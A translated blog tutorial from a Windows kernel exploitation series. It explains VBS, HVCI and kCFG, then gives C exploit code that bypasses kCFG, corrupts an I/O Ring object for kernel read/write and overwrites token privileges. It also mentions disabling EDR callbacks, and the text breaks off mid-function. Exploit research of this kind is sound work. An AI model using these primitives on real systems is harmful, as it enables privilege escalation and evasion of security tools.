MrAle_98 2025-01-16 18:47 日本
From arbitrary pointer dereference to arbitrary readwrite in latest Windows 11
在这个 Windows 内核漏洞利用 系列 的 上一部分 中,我们成功利用了一个任意指针解引用漏洞,绕过了 SMEP 和 KVA Shadowing,最终获得了 内核模式下的任意代码执行 能力。
在本文中,我们将简要介绍 VBS、HVCI 和 kCFG 是什么,并修改我们原始的漏洞利用代码,使其能够将 任意指针解引用 转变为 任意读写原语 。这反过来允许我们执行基于数据的攻击,例如 提升令牌权限 、 交换令牌地址 、 禁用 EDR 内核回调 或 设置/取消设置任意进程的 PPL 特性 等多种可能性。
注意:我在 Windows 11 24h2 发布之前就开始写这篇文章了。Windows 11 24h2 移除了几个内核地址泄露漏洞 (如果你有 SeDebugPrivilege 权限,即如果你是管理员,这些漏洞仍然可用),这些漏洞在本文中被利用。
配置环境
如果你想跟着操作,你应该按照以下说明在 VMware 上 创建一个启用了 VBS 的 Windows 11 虚拟机 。首先,在主机的_设置_中找到_核心隔离_并禁用_内存完整性_。之后,在 VMware 中进入_虚拟机设置 > 选项 > 高级_菜单并勾选_启用 VBS 支持_。
在 VMWare 中启用 VBS 支持 注意这也会启用_安全启动_。如果启用了安全启动, 你将无法进行内核调试 。要在保持 VBS 启用的同时禁用它,请导航到虚拟机的文件夹并在文本编辑器中 打开 .vmx 文件 。将属性 uefi.secureBoot.enabled 更改为 FALSE 。
禁用安全启动 现在,运行你的虚拟机,在其中打开_设置_,导航到_核心隔离_并将_内存完整性_设置为 启用 。
在虚拟机中启用 HVCI 重启虚拟机。现在 你的虚拟机应该已启用 HVCI 和 kCFG 但禁用了安全启动 ,允许你 设置内核调试 。
VBS、HVCI 和 kCFG
让我们首先了解 VBS、HVCI 和 kCFG 是什么,以及它们对漏洞利用开发有什么影响。以下由 Connor McGarr 撰写的博客文章很好地阐明了这个主题:
基于虚拟化的安全性
基于虚拟化的安全性 (VBS) 使用硬件虚拟化和 Windows 虚拟机监控程序来 创建一个隔离的虚拟环境,该环境成为操作系统的信任根,假设内核可能被攻破 。Windows 使用这个隔离环境来托管多个安全解决方案,如 HVCI 和 Credential Guard 。
其理念是 VBS 使用虚拟机监控程序创建两个 虚拟信任级别 (VTLs) ,这些隔离环境类似于虚拟机 (但它们并不完全是虚拟机):
虚拟信任级别。来源: Connor McGarr 的博客。 VTL1 是 权限更高的环境 ,而 VTL0 是 权限较低的环境 。当系统启动并且两个环境都加载后, VTL1 可以通过调用虚拟机监控程序提供的 "API" 来配置 VTL0 ,发出 hypercalls 。
VTL 虚拟机监控程序和 SLAT 之间的关系。来源:_Windows Internals 第 7 版_书籍。
二级地址转换
二级地址转换_或 SLAT 允许每个虚拟机在虚拟机监控程序看来都运行在自己的地址空间中 。Intel 对 SLAT 的实现称为_扩展页表 ,或 EPT(参见 这里 )。
其理念是当虚拟机试图访问给定虚拟地址 VA 时, 虚拟机 使用自己的页表项集合或 PTE,将 VA 转换 为称为_ 客户物理地址 _或 GPA 的地址 (在下图中忽略访问 RAM 的最后一步)。
虚拟地址到物理地址的转换 (x64 架构)。来源:_Windows Internals 第 7 版_书籍。 GPA 仍然不是有效的物理地址。因此, 虚拟机监控程序 "拦截"对 GPA 的访问,并使用其自己特殊的 PTE 集合,称为** 扩展页表项 ** EPTE,将 GPA **转换为_系统物理地址_**或 SPA。
SPA 是 RAM 中的最终物理地址 。
因此,当虚拟机监控程序运行时, 物理内存页的真实状态是由 EPTE 而不是 PTE 描述的 。
HVCI
虚拟机监控程序保护的代码完整性 (HVCI) 是 Windows 10、Windows 11 和 Windows Server 2016 及更高版本中提供的基于虚拟化的安全性 (VBS) 功能。
简而言之,它包括在 VTL1 中运行的 securekernel.exe,在启动时与虚拟机监控程序一起工作,以 创建一组_EPTE_ ,这些 EPTE 描述了内存的_ 最终视图 _,而 VTL0(ntoskrnl.exe) 中的操作系统维护其自己的内存视图。
基本上 所有 EPTE 都配置为所有页面要么是 可读和可写的 RW-
,要么是 可读和可执行的 R-X
,但 永远不会是可写 - 可执行的 -WX
或 可读 - 可写 - 可执行的 RWX
。
所以,假设攻击者执行以下操作:
在虚拟地址 VA 的内核内存页中存储 shellcode。
利用漏洞 (任意写入、任意指针解引用等),允许在虚拟地址 VA 对应的 PTE 中 设置执行位 。
在虚拟地址 VA 触发 shellcode 执行。
漏洞利用将 失败 ,因为 CPU 在高层次上执行以下操作:
将 VA 转换为 GPA (客户物理地址),注意到 PTE 设置了执行位 (在上面步骤 2 中被 攻击者篡改 )。
GPA 被传递给虚拟机监控程序 ,将其 转换为 SPA ,并注意到相应的 EPTE 没有设置执行位 。
因此, 执行被中止 ,漏洞利用失败。
EPTE 可以被认为是 另一个虚拟内存到物理内存的映射,攻击者无法篡改 。实际上 GPA 和 SPA 将具有相同的值,因为 HVCI 的目的只是确保攻击者无法在内核模式下执行任意 shellcode。
另一个处理 PTE 的漏洞利用是将用户模式页面的 U/S
位设置为 S
,或 Supervisor(这实际上是我们在之前的 博客文章 中所做的)。这样,当 CPU 在内核模式下运行 (CPL = 0) 时,它被允许执行页面中的 shellcode,绕过 SMEP。EPTE 没有 U/S
位,因此它们无法防止这种情况。
然而,Intel 引入了称为_基于模式的执行控制_或 MBEC 的 硬件解决方案 来缓解这种攻击。总体思路是在 CPU 运行在 内核模式 时将 EPTE 中的所有 用户模式页面 设置为 不可执行 。Microsoft 引入了_受限用户模式_或 RUM 作为 软件解决方案 ,以防硬件不支持 MBEC。
在这一点上,我希望我没有让你感到困惑。如果是这样,我建议你阅读 Connor 关于 HVCI 的整个 博客文章 。最终,正如 Connor 在他的博客文章中已经强调的那样, HVCI 对漏洞利用开发的影响 如下:
无法通过 PTE 操作来实现未签名代码执行
内核中的任何未签名代码执行都是不可能的
所以,让我们思考一下我们的 任意指针解引用 。我们不能再构造一个篡改 PTE 的 ROP 链,因为在 HVCI 下这将是无用的。
然而,我们仍然可以使用 完整的内核 API 集 。例如,我们可以构造一个 ROP 链来覆写线程的**_KTHREAD.PreviousMode 字段,以获得内核中的 任意读写原语**(在 OST2 – Exp4011 课程中有很好的解释,由 Cedric Halbronn 讲授)。
问题是由于 内核控制流保护 (kCFG) , 我们不能 (以这种方式) 构造 ROP 链 。
kCFG
简而言之,每当有间接函数调用时,就像我们的情况一样,函数调用都会通过 nt!_guard_dispatch_icall
例程。该例程执行以下操作:
检查目标函数是否有效。
如果有效,它跳转到目标函数。
如果无效,内核停止执行并出现蓝屏。
对于 kCFG,每个对应于 函数开始的地址都被认为是有效目标 。
还值得注意的是, kCFG 只在启用 HVCI 时才启用 。kCFG 使用 位图 来验证目标。该位图是 只读的 ,这由 HVCI 强制执行。
当未启用 HVCI 时,间接函数调用仍然通过 nt!_guard_dispatch_icall
例程。然而,该例程只是 检查地址是否位于用户空间 (从 0
到 0x000007FFFFFEFFFF
) 或内核空间 (从 0x0000080000000000
到 0xFFFFFFFFFFFFFFFF
)。如果地址位于用户空间,它会停止执行并触发蓝屏。
事实上,如果你还记得这个系列的 第 2 部分 ,当我们试图将执行劫持到地址 0xdeadbeef 时,我们得到了蓝屏。那是_禁用 HVCI 的 kCFG_。如果你想更详细地了解 CFG,我建议你从以下 博客文章 开始,这篇文章同样由 Connor McGarr 撰写。
所以, 启用 HVCI 的 kCFG 的影响是 我们不能将执行劫持到 ntoskrnl.exe 中的任意地址 ,这阻止我们构造任意 ROP 链。然而, 我们仍然可以将执行劫持到 ntoskrnl.exe 中任何函数的开始处 。
构造我们的新漏洞利用
现在我们已经了解了 Microsoft 启用的新安全缓解措施的影响,我们可以开始思考如何修改我们的漏洞利用以实现 LPE。
"放宽"约束
在之前的 漏洞利用 中,我没有使用任何函数,如_ EnumDeviceDrivers() 或 NtQuerySystemInformation() _来泄露内核地址。在这种情况下,我们将使用_NtQuerySystemInformation()_来获得启用了 kCFG/HVCI 的 LPE。
注意:从 Windows 11 24h2 开始,EnumDeviceDrivers() 和 NtQuerySystemInformation() 需要 SeDebugPrivilege 才能获取内核地址。这意味着在最新的 Windows 11 版本上 你必须是管理员 才能使用它们。当然,这已经是 BYOVD 攻击 场景的要求。
绕过 kCFG
起点总是寻找已经处理过这种场景的研究人员的研究论文/博客文章。过了一会儿,我找到了一篇非常好的 博客文章 ,作者是 @tykawaii98 和 @void_sec 。漏洞类型同样是 任意指针解引用 ,允许 劫持执行流 。
绕过 kCFG 的思路基本上是 找到一个函数 ,它允许我们基于 当我们到达间接函数调用时控制的寄存器 执行 基于数据的攻击 。
回想一下这个系列 第 2 部分 的结尾:_"在这一点上,我们知道 我们可以将执行重定向到任意地址 ,并且我们控制寄存器 RBX 、 RCX 和 RDI "。_所以,我们在间接调用时控制 RBX、RCX 和 RDI 。
博客文章的作者发现了 nt!DbgkpTriageDumpRestoreState()
。
nt!DbgkpTriageDumpRestoreState 的反汇编 简而言之,这个函数做的有趣的事情如下:
将 [RCX]
的值移动到 RDX
将 [RCX+0x10]
的 4 字节值移动到 EAX
将 EAX
(其中 EAX=[RCX+0x10]
) 存储在 [RDX+0x2078]
(其中 RDX=[RCX]
)
将 [RCX+0x14]
的 4 字节值移动到 EAX
将 EAX
(其中 EAX=[RCX+0x14]
) 存储在 [RDX+0x207c]
(其中 RDX=[RCX]
)
换句话说,我们可以将 [RCX+0x10]
处的 8 字节值写入 [RDX+0x2078]
处的 地址 ,其中 RDX
是 [RCX]
。所以我们通过 控制 RCX 就有了 任意 8 字节写入 。由于 我们控制 RCX ,这个函数非常适合我们的目的。
获得任意读写
在 Crowdfense 的同一篇文章中,作者展示了使用这个小工具的两种方法:
设置线程的 _KTHREAD.PreviousMode
字段以获得 内核空间内存的任意读写 。
覆写当前进程令牌的 _TOKEN.Privileges.Present
字段,为我们自己添加所有权限 (基本上与我们在 第 3 部分 中用 shellcode 做的相同)。
另一方面,我决定使用 I/O Ring 技术 来获得内核空间中的 任意读写 原语。为什么?主要是因为:
看起来 Microsoft 即将缓解 _KTHREAD.PreviousMode
技术 (这在这个 演示 和这个 帖子 中都有提到,不过看起来还需要一段时间)。
覆写 _TOKEN.Privileges.Present
只允许我们提升权限。我们不能禁用 EDR 回调或取消设置/设置进程的 PPL 属性,而这两种攻击都可以通过任意读写实现。
只是想玩玩 I/O Ring。
I/O Ring 技术 是由 Yarden Shafir 发现和记录的,后来也被 Ruben Boonen 描述 。
一些代码片段是从 Yarden 的仓库 中直接复制/粘贴的。
在高层次上,思路如下:
使用 CreateIoRing() API 分配一个 IoRing(内核中的 _IORING_OBJECT 结构)。
调用 BuildIoRingRegisterBuffers() ,以便初始化_IORING_OBJECT.RegBuffers 和_IORING_OBJECT.RegBuffersCount。
利用我们的任意指针解引用来覆写_IORING_OBJECT.RegBuffers。
调用** BuildIoRingReadFile() 来 写入任意内核地址**,调用 BuildIoRingWriteFile() 来 从任意内核地址读取 。
所以,让我们开始修改漏洞利用。
在调用我们的_arbitraryCallDriver()_之前,我们放置一个对名为_prepare()_的例程的调用,该例程执行以下操作:
创建_IORING_OBJECT(调用_CreateIoRing())_并将返回的 指向用户模式对象的指针 保存在 puioring
中。
使用 BuildIoRingRegisterBuffers() 和_ SubmitIoRing() _将_IORING_OBJECT.RegBuffers 设置为一个虚拟数组,将_IORING_OBJECT.RegBuffersCount 设置为 1 (我们每次执行任何操作都必须调用 SubmitIoRing())。
调用_GetKAddrFromHandle()_从句柄 获取 IoRing 对象的内核地址 并将结果保存在 ioringaddress
中。_GetKAddrFromHandle() 是我们创建的另一个例程,内部调用 NtQuerySystemInformation() _来获取内核地址。
分配一个包含 1 个指向 _IOP_MC_BUFFER_ENTRY 的指针的数组,命名为 fake_buffers
。我们将利用漏洞将_IORING_OBJECT.RegBuffers 覆写为 fake_buffers
。
实例化所有将用于利用任意读写的命名管道。
[...]
# define REGBUFFERCOUNT 0x1
[...]
HANDLE g_device;
PUIORING puioring = NULL;
PVOID ioringaddress = NULL;
HIORING handle = NULL;
PIOP_MC_BUFFER_ENTRY* fake_buffers = NULL;
UINT_PTR userData = 0x41414141;
ULONG numberOfFakeBuffers = 100;
PVOID addressForFakeBuffers = NULL;
HANDLE inputPipe = INVALID_HANDLE_VALUE;
HANDLE outputPipe = INVALID_HANDLE_VALUE;
HANDLE inputClientPipe = INVALID_HANDLE_VALUE;
HANDLE outputClientPipe = INVALID_HANDLE_VALUE;
IORING_BUFFER_INFO preregBuffers[REGBUFFERCOUNT] = { 0 };
[...]
PVOID
AllocateFakeBuffersArray(
_In_ ULONG NumberOfFakeBuffers
)
{
ULONG size;
PVOID* fakeBuffers;
//
// This will be an array of pointers to IOP_MC_BUFFER_ENTRYs
//
fakeBuffers = (PVOID*)VirtualAlloc(NULL, NumberOfFakeBuffers * sizeof(PVOID), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (fakeBuffers == NULL)
{
printf("[-] Failed to allocate fake buffers array\n");
return NULL;
}
if (!VirtualLock(fakeBuffers, NumberOfFakeBuffers * sizeof(PVOID)))
{
printf("[-] Failed to lock fake buffers array\n");
return NULL;
}
memset(fakeBuffers, 0, NumberOfFakeBuffers * sizeof(PVOID));
for (int i = 0; i < NumberOfFakeBuffers; i++)
{
fakeBuffers[i] = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (fakeBuffers[i] == NULL)
{
printf("[-] Failed to allocate fake buffer\n");
return NULL;
}
if (!VirtualLock(fakeBuffers[i], sizeof(IOP_MC_BUFFER_ENTRY)))
{
printf("[-] Failed to lock fake buffer\n");
return NULL;
}
memset(fakeBuffers[i], 0x41, sizeof(IOP_MC_BUFFER_ENTRY));
}
printf("[*] fakeBuffers = 0x%p\n", fakeBuffers);
for (int i = 0; i < NumberOfFakeBuffers; i++) {
printf("[*] fakeBuffers[%d] = 0x%p\n", i, fakeBuffers[i]);
}
return fakeBuffers;
}
BOOL prepare() {
HRESULT result;
IORING_CREATE_FLAGS flags;
flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, (HIORING*)&handle);
if (!SUCCEEDED(result))
{
printf("[-] Failed creating IO ring handle: 0x%x\n", result);
return FALSE;
}
puioring = (PUIORING)handle;
printf("[+] Created IoRing. handle=0x%p\n", puioring);
//pre-register buffer array with len=1
preregBuffers[0].Address = VirtualAlloc(NULL, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!preregBuffers[0].Address)
{
printf("[-] Failed to allocate prereg buffer\n");
return FALSE;
}
memset(preregBuffers[0].Address, 0x41, 0x100);
preregBuffers[0].Length = 0x100;
result = BuildIoRingRegisterBuffers(handle, REGBUFFERCOUNT, preregBuffers, 0);
if (!SUCCEEDED(result))
{
printf("[-] Failed BuildIoRingRegisterBuffers: 0x%x\n", result);
return FALSE;
}
UINT32 submitted = 0;
result = SubmitIoRing(handle, 1, INFINITE, &submitted);
if (!SUCCEEDED(result)) {
printf("[-] Failed SubmitIoRing: 0x%x\n", result);
return FALSE;
}
printf("[*] submitted = 0x%d\n", submitted);
ioringaddress = GetKAddrFromHandle(puioring->handle);
printf("[*] ioringaddress = 0x%p\n", ioringaddress);
fake_buffers = (PIOP_MC_BUFFER_ENTRY*)AllocateFakeBuffersArray(
REGBUFFERCOUNT
);
if (fake_buffers == NULL)
{
printf("[-] Failed to allocate fake buffers\n");
return FALSE;
}
//
// Create named pipes for the input/output of the I/O operations
// and open client handles for them
//
inputPipe = CreateNamedPipe(INPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
if (inputPipe == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to create input pipe: 0x%x\n", GetLastError());
return FALSE;
}
outputPipe = CreateNamedPipe(OUTPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
if (outputPipe == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to create output pipe: 0x%x\n", GetLastError());
return FALSE;
}
outputClientPipe = CreateFile(OUTPUT_PIPE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (outputClientPipe == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to open handle to output file: 0x%x\n", GetLastError());
return FALSE;
}
inputClientPipe = CreateFile(INPUT_PIPE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (inputClientPipe == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to open handle to input pipe: 0x%x\n", GetLastError());
return FALSE;
}
return TRUE;
}
[...]
int main()
{
[...]
if (!prepare())
return -1;
arbitraryCallDriver(outputBuffer, SIZE_BUF);
printf("[+] arbitraryCallDriver returned successfully.\n");
[...]
}
现在,让我们修改 arbitraryCallDriver() 函数。回想一下在 第二部分的结尾 中,在执行 jmp rax
指令时,我们 控制着 RCX 寄存器 。 RCX 对应于 object2+0x30 ,也就是 ptr->AttachedDevice
。
首先,我们需要修改代码,使我们能够 劫持执行流程到 nt!DbgkpTriageDumpRestoreState ,这个调用小工具对于绕过 kCFG 很有用。
[...]
* (( PDWORD64 )pDriverFunction) = g_ntbase + 0x7f06a0 ; //address of DbgkpTriageDumpRestoreState
[...]
接下来,我们需要设置 fake_buffers
,也就是我们 想要写入的值 ,写入到 ptr->AttachedDevice+0x10
的位置 (记住 rcx = ptr->attachedDevice
),即 ptr->AttachedDevice->NextDevice
(回想一下 ptr->AttachedDevice
指向一个 _DEVICE_OBJECT 结构体)。
[...]
//ptr->AttachedDevice corresponds to rcx when we hijack execution to DbgkpTriageDumpRestoreState
ptr->AttachedDevice->NextDevice = (_DEVICE_OBJECT*)fake_buffers; //value of arbitrary write. address of fakeBuffers
[...]
然后我们必须设置 RDX,使得 rdx+0x2078
指向我们 想要写入的内核地址 ,也就是 _IORING_OBJECT.RegBuffers。
[...]
//offset 0x0 (AttachedDevice->Type,Size,ReferenceCount) we store the address that is stored in rdx by DbgkpTriageDumpRestoreState
PDWORD64 prdx_val = (PDWORD64)ptr->AttachedDevice;
*prdx_val = (DWORD64)ioringaddress + 0xb8 - 0x2078; //address of RegBuffers in ioring kernel structure
printf("[*] prdx_val = 0x%p\n", prdx_val);
[...]
最后,在调用 DeviceIoControl() 之后,我们必须 更新用户态 IoRing 结构体 ,使其与对应的内核态 _IORING_OBJECT 结构体匹配。
[...]
BOOL res = DeviceIoControl (
g_device,
IOCTL_ARBITRARYCALLDRIVER,
inputBuffer,
SIZE_BUF,
outputBuffer,
outSize,
&bytesRet,
NULL
);
printf ( "[*] sent IOCTL_ARBITRARYCALLDRIVER \n" );
if (!res) {
printf ( "[-] DeviceIoControl failed with error: %d\n" , GetLastError ());
}
//update regBuffer address and size in usermode ioring
puioring->RegBufferArray = fake_buffers;
puioring->BufferArraySize = REGBUFFERCOUNT;
[...]
现在,让我们在触发漏洞前后分别放置一个 getchar() 调用,然后运行这个漏洞利用程序。
PS Microsoft.PowerShell.Core\FileSystem::\\vmware-host\Shared Folders\Debug> .\DrvExpTemplate.exe
[+] Opened handle to device: 0x00000000000000FC
[+] User buffer allocated: 0x0000025258D70000
[ *] sent IOCTL_READMSR
[+] readMSR success.
[+] IA32_LSTAR = 0xFFFFF80469A2B700
[+] g_ntbase = 0xFFFFF80469600000
[+] Created IoRing. handle=0x0000025258B141C0
[*] submitted = 0x1
[ *] ioringaddress = 0xFFFFE5063F4F8900
[*] fakeBuffers = 0x0000025258D90000
[ *] fakeBuffers[0] = 0x0000025258DA0000
[+] object = 0x0000001AFEFF0000
[+] second object = 0x0000001AFEFFFFD0
[+] ptr = 0x0000001AFF000000
[+] object2 = 0x0000025258DC0000
[+] driverObject = 0x0000025258DD0000
[+] ptr->AttachedDevice = 0x0000025258DC0030
[*] prdx _val = 0x0000025258DC0030
[+] User buffer allocated: 0x0000025258DB0000
从输出中我们可以看到,我们的 _IORING_OBJECT 被分配在内核空间地址 ioringaddress = 0xFFFFE5063F4F8900
。我们的 fake_buffers
数组位于用户空间地址 0x0000025258D90000
,并且只有一个条目 fake_buffers[0]
,其中包含用户空间地址 0x0000025258DA0000
,该地址指向我们伪造的 _IOP_MC_BUFFER_ENTRY 结构体。
现在让我们用 WinDbg 检查内核中分配的 _IORING_OBJECT。
触发漏洞前的 _IORING_OBJECT
我们可以看到 IORING_OBJECT.RegBuffersCount 字段已成功设置为 1 。
现在让我们按回车键来 触发漏洞 ,然后在 WinDbg 中重新检查 _IORING_OBJECT。
触发漏洞后的 _IORING_OBJECT 如我们所见,我们成功地用 fake_buffers
的用户空间地址覆盖了 IORING_OBJECT.RegBuffers 。
现在,每当我们想要 读取/写入内核空间地址 时,我们只需要设置地址 fake_buffers[0]
处的 _IOP_MC_BUFFER_ENTRY.Address 和 _IOP_MC_BUFFER_ENTRY.Length 字段,然后调用 BuildIoRingReadFile()/BuildIoRingWriteFile() 。
构建我们的读写原语
现在我们已经成功覆盖了 RegBuffers 字段,我们可以创建两个函数 KRead() 和 KWrite() ,使用 IoRing 对象在内核空间进行 任意数据的读写 。
让我们从 KRead() 开始。它接受以下输入参数:
TargetAddress :我们想要读取的内核空间地址。
pOut :由调用者分配的缓冲区,函数将读取的数据保存在这里。
size :从 TargetAddress 读取的字节数。
它执行以下操作:
将 fake_buffers[0]
处的 IOP_MC_BUFFER_ENTRY 结构体清零,并在 IOP_MC_BUFFER_ENTRY.Address 和 IOP_MC_BUFFER_ENTRY.size 中设置 TargetAddress 和 size 。
调用 BuildIoRingWriteFile() 和 SubmitIoRing() 触发 IoRing 从 IOP_MC_BUFFER_ENTRY.Address 读取 IOP_MC_BUFFER_ENTRY.size 字节的数据,并将其写入我们的 OutputPipe
。
使用 ReadFile() 从 OutputPipe
读取数据并将其复制到 pOut 中。
BOOL KRead(PVOID TargetAddress, PBYTE pOut, SIZE_T size) {
DWORD bytesRead = 0 ;
HRESULT result;
UINT32 submittedEntries;
IORING_CQE cqe;
memset(fake_buffers[ 0 ], 0 , sizeof(IOP_MC_BUFFER_ENTRY));
fake_buffers[ 0 ]->Address = TargetAddress;
fake_buffers[ 0 ]->Length = size;
fake_buffers[ 0 ]->Type = 0xc02 ;
fake_buffers[ 0 ]->Size = 0x80 ;
fake_buffers[ 0 ]->AccessMode = 1 ;
fake_buffers[ 0 ]->ReferenceCount = 1 ;
auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset( 0 , 0 );
auto requestDataFile = IoRingHandleRefFromHandle(outputClientPipe);
result = BuildIoRingWriteFile(handle,
requestDataFile,
requestDataBuffer,
size,
0 ,
FILE_WRITE_FLAGS_NONE,
NULL,
IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf ( "[-] Failed building IO ring read file structure: 0x%x\n" , result);
return FALSE;
}
result = SubmitIoRing(handle, 1 , INFINITE, &submittedEntries);
if (!SUCCEEDED(result))
{
printf ( "[-] Failed submitting IO ring: 0x%x\n" , result);
return FALSE;
}
printf ( "[*] submittedEntries = %d\n" , submittedEntries);
//
// Check the completion queue for the actual status code for the operation
//
result = PopIoRingCompletion(handle, &cqe);
if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode)))
{
printf ( "[-] Failed reading kernel memory 0x%x\n" , cqe.ResultCode);
return FALSE;
}
BOOL res = ReadFile(outputPipe,
pOut,
size,
&bytesRead,
NULL);
if (!res)
{
printf ( "[-] Failed to read from output pipe: 0x%x\n" , GetLastError());
return FALSE;
}
printf ( "[+] Successfully read %d bytes from kernel address 0x%p.\n" , bytesRead,TargetAddress);
return res;
}
Kwrite() 函数实际上非常相似。它接收以下输入参数:
它执行以下操作:
将 pVal 中的缓冲区写入我们的 InputPipe
。
将 fake_buffers[0]
处的 IOP_MC_BUFFER_ENTRY 结构体清零,并在 IOP_MC_BUFFER_ENTRY.Address 和 IOP_MC_BUFFER_ENTRY.size 中设置 TargetAddress 和 size 。
调用 BuildIoRingReadFile() 和 SubmitIoRing() 来触发 IoRing 从我们的 InputPipe
读取 IOP_MC_BUFFER_ENTRY.size 字节并将其写入 IOP_MC_BUFFER_ENTRY.Address 。
BOOL KWrite (PVOID TargetAddress, PBYTE pValue, SIZE_T size) {
DWORD bytesWritten = 0 ;
HRESULT result;
UINT32 submittedEntries;
IORING_CQE cqe;
printf ( "[*] Writing to %p the following bytes\n" , TargetAddress);
printf ( "[*] pValue = 0x%p\n" , pValue);
printf ( "[*] data: " );
for ( int i = 0 ; i < size; i++) {
printf ( "0x%x " ,pValue[i]);
}
printf ( "\n" );
if ( WriteFile (inputPipe, pValue, size, &bytesWritten, NULL ) == FALSE)
{
result = GetLastError ();
printf ( "[-] Failed to write into the input pipe: 0x%x\n" , result);
return FALSE;
}
printf ( "[*] bytesWritten = %d\n" , bytesWritten);
//
// Setup another buffer entry, with the address of ioring->RegBuffers as the target
// Use the client's handle of the input pipe for the read operation
//
memset(fake_buffers[0], 0, sizeof(IOP_MC_BUFFER_ENTRY));
fake_buffers[0]->Address = TargetAddress;
fake_buffers[0]->Length = size;
fake_buffers[0]->Type = 0xc02;
fake_buffers[0]->Size = 0x80;
fake_buffers[0]->AccessMode = 1;
fake_buffers[0]->ReferenceCount = 1;
auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
auto requestDataFile = IoRingHandleRefFromHandle(inputClientPipe);
printf("[*] performing buildIoRingReadFile\n");
result = BuildIoRingReadFile(handle,
requestDataFile,
requestDataBuffer,
size,
0,
NULL,
IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf("[-] Failed building IO ring read file structure: 0x%x\n", result);
return FALSE;
}
result = SubmitIoRing(handle, 1, INFINITE, &submittedEntries);
if (!SUCCEEDED(result))
{
printf("[-] Failed submitting IO ring: 0x%x\n", result);
return FALSE;
}
printf("[*] submittedEntries = %d\n", submittedEntries);
return TRUE;
}
使用我们的读/写原语
现在只需调用 KRead()/KWrite() 来 读取/写入任意内核空间地址 即可。在这种情况下,我们只是 提升权限 ,尽管正如开始时所述,我们可以做更多事情。
使用 这个库 ,一旦获得内核读写原语,你也可以调用任意内核函数(不过如果启用了 kCET 就无法工作)。
因此,让我们创建一个 IncrementPrivileges() 函数,使用 KRead()/KWrite() 来读取和写入当前进程的令牌权限。
VOID IncrementPrivileges () {
HANDLE TokenHandle = NULL;
PVOID tokenAddr = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &TokenHandle))
tokenAddr = GetKAddrFromHandle(TokenHandle);
printf ( "[+] tokenHandle = 0x%p\n" , TokenHandle);
printf ( "[+] tokenAddr = 0x%p\n" , tokenAddr);
_SEP_TOKEN_PRIVILEGES original_privs = { 0 };
printf ( "[*] Reading original token privileges...\n" );
KRead((PVOID)((DWORD64)tokenAddr + 0 x40), (PBYTE)&original_privs, sizeof(original_privs));
printf ( "[+] original_privs.Present = 0x%llx\n" , original_privs.Present);
printf ( "[+] original_privs.Enabled = 0x%llx\n" , original_privs.Enabled);
printf ( "[+] original_privs.EnabledByDefault = 0x%llx\n" , original_privs.EnabledByDefault);
//KRead64((PVOID)((DWORD64)tokenAddr + 0 x40), (PDWORD64)&tokenAddr);
_SEP_TOKEN_PRIVILEGES privs = { 0 };
privs.Enabled = 0 x0000001ff2ffffbc;
privs.Present = 0 x0000001ff2ffffbc;
privs.EnabledByDefault = original_privs.EnabledByDefault;
printf("[*] Writing token privileges...\n");
#ifdef _DEBUG
getchar();
#endif
KWrite((PVOID)((DWORD64)tokenAddr + 0 x40), (PBYTE) & privs, sizeof(privs));
printf ( "[*] Reading modified token privileges...\n" );
_SEP_TOKEN_PRIVILEGES modified_privs = { 0 };
KRead((PVOID)((DWORD64)tokenAddr + 0 x40), (PBYTE)&modified_privs, sizeof(modified_privs));
printf ( "[+] modified_privs.Present = 0x%llx\n" , modified_privs.Present);
printf ( "[+] modified_privs.Enabled = 0x%llx\n" , modified_privs.Enabled);
printf ( "[+] modified_privs.EnabledByDefault = 0x%llx\n" , modified_privs.EnabledByDefault);
return ;
}
清理工作
正如这篇 博客文章 所述,当使用 I/O 环时,我们必须将_IORING_OBJECT.RegBuffers 和_IORING_OBJECT.RegBuffersCount 重置为零。此外,由于我们预先注册了一个缓冲区,建议减少进程的引用计数。我们将在_cleanup()_函数中实现所有这些功能。
我们首先获取 当前进程 的 句柄 hProc
,然后通过调用_GetKAddrFromHandle()_获取对应的 _EPROCESS 结构体的 内核地址 eproc
。最后,我们使用_KRead()_和_KWrite()_来更新位于 eproc-0x30
的引用计数(_EPROCESS 前面总是有一个 _OBJECT_HEADER 结构体,该结构体在 PointerCount 字段中 跟踪引用计数 )。
之后,我们只需要执行最后一次_KWrite()_,将_IORING_OBJECT.RegBuffers 和_IORING_OBJECT.RegBuffersCount 设置为零即可。
VOID cleanup () {
auto hProc = OpenProcess (MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId ());
if (hProc != NULL )
{
auto eproc = GetKAddrFromHandle (hProc);
printf ( "[+] eproc = 0x%p\n" , eproc);
DWORD64 refCount = NULL ;
if ( KRead ((PVOID)((DWORD64)eproc - 0x30 ), (PBYTE)&refCount, sizeof (DWORD64))) {
printf ( "[+] refCount = 0x%llx\n" , refCount);
if (refCount > 0 ) {
printf ( "[*] refCount > 0\n" );
refCount--;
if ( KWrite ((PVOID)((DWORD64)eproc - 0x30 ), (PBYTE)&refCount, sizeof (DWORD64))) {
printf ( "[+] refCount decremented\n" );
}
else {
